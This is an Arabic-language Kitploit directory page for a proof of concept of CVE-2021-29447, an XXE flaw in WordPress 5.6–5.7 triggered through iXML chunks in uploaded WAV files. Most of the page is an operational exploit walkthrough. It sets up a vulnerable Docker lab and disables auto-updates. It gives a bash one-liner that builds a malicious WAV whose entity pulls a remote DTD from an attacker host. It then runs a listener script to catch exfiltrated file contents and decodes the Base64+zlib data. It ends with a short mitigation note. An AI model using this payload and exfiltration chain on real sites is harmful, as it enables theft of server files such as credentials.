Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-29447-PoC | Kitploit
أدوات/GitHubGitHub/rdana55/cve-2021-29447-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubrdana55/cve-2021-29447-poc

CVE-2021-29447-PoC

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-29447-PoC

نظرة عامة

CVE-2021-29447 هي ثغرة حقن كيانات خارجية في XML (XXE) تؤثر على إصدارات ووردبريس من 5.6 إلى 5.7 (تم إصلاحها في الإصدار 5.7.1) عند تشغيل PHP 8.0+. توجد الثغرة في مكتبة getID3 المستخدمة لتحليل البيانات الوصفية للوسائط.

يعالج ووردبريس مقاطع iXML في ملفات WAV عبر getID3، والتي تستدعي الدالة simplexml_load_string() مع العلامة LIBXML_NOENT. تعمل هذه العلامة بشكل صريح على تمكين استبدال الكيانات الخارجية، متجاوزةً الحمايات الافتراضية لـ PHP 8 ضد XXE (التي أُهملت في libxml_disable_entity_loader()).

  1. مستخدم مصادق عليه (Author+) يرفع ملف WAV خبيث
  2. getID3 ← مقطع iXML ← simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
  3. جلب DTD خارجي ← غلاف data:// في PHP ← كشف ملفات عشوائية

إعداد إثبات المفهوم

يوضح إثبات المفهوم هذا الثغرة باستخدام ووردبريس 5.7 داخل Docker مع PHP 8.0.3. يمكن لمستخدمي لينكس استخدام سكربت بملف واحد يُنشئ أيضًا ملفات WAV/DTD.

▶️: https://youtu.be/YnGowuWHFyY

المتطلبات الأساسية وإعداد البيئة

  1. قم بتثبيت Docker Desktop على جهاز ويندوز

  2. أنشئ دليل مشروع مخصص (يتم تنفيذ جميع أوامر PowerShell هنا):

    root@kitploit:~
     #powershell
    mkdir cve-2021-29447-poc
     cd cve-2021-29447-poc
    
  3. انشر نسخة ووردبريس المعرضة للثغرة:

    root@kitploit:~
     #powershell
     notepad docker-compose.yml
    

    انسخ والصق محتوى docker-compose.yml

  4. ابدأ الحاويات:

    root@kitploit:~
     #powershell
     docker-compose up -d
    
  5. عطّل التحديثات التلقائية (أمر بالغ الأهمية لاستمرار الثغرة):

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash
    
     #bash
     sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
    
     echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
     echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
    
     tail -5 /var/www/html/wp-config-sample.php
     exit
    
  6. تحقق من الإصدارات المعرضة للثغرة:

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
    

    متوقع: ووردبريس 5.7، وPHP 8.0 أو أحدث

  7. تثبيت ووردبريس:

    انتقل إلى: http://localhost:8080

    المسؤول: test / test / [email protected]

    أكمل الإعداد → الوصول إلى /wp-admin

  8. اكتشاف عنوان IP للمهاجم:

    root@kitploit:~
     #powershell
     ipconfig | findstr IPv4
    

    لاحظ عنوان IP الخاص بك (مثل 192.168.1.196)

توليد حمولة الاستغلال

  1. أنشئ حمولة DTD:

    root@kitploit:~
     #powershell
     notepad evil.dtd
    

    انسخ والصق محتوى evil.dtd

  2. ولّد حمولة WAV (عبر واجهة سطر الأوامر في لينكس):

    root@kitploit:~
    #bash
     echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
    

    انقل الملف عبر python3 -m http.server 8000 ← لتنزيله من متصفح ويندوز (مثل http://<VM_IP>:8000)

    ملاحظة: تم إنشاء WAV بشكل منفصل بسبب تعقيد إفلات البيانات الثنائية في بيئات ويندوز

  3. انشر خادم الاستغلال:

    root@kitploit:~
     #powershell
     notepad exploit.py
    

    انسخ والصق محتوى exploit.py

    الأمر:

    root@kitploit:~
     #powershell
     python exploit.py -l YOUR_IP -p PORT 
    

الاستغلال

  1. شغّل XXE:

    http://localhost:8080/wp-admin → الوسائط ← إضافة جديد

    ارفع ملف payload.wav

  2. راقب وحدة تحكم خادم Python ← لالتقاط البيانات المسرّبة

  3. فك ترميز حمولة Base64+Zlib:

    root@kitploit:~
     #powershell
     $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
    

التخفيف

قم بترقية ووردبريس إلى 5.7.1 أو أحدث، أو عطّل LIBXML_NOENT في تحليل getID3.

تنزيل الأداة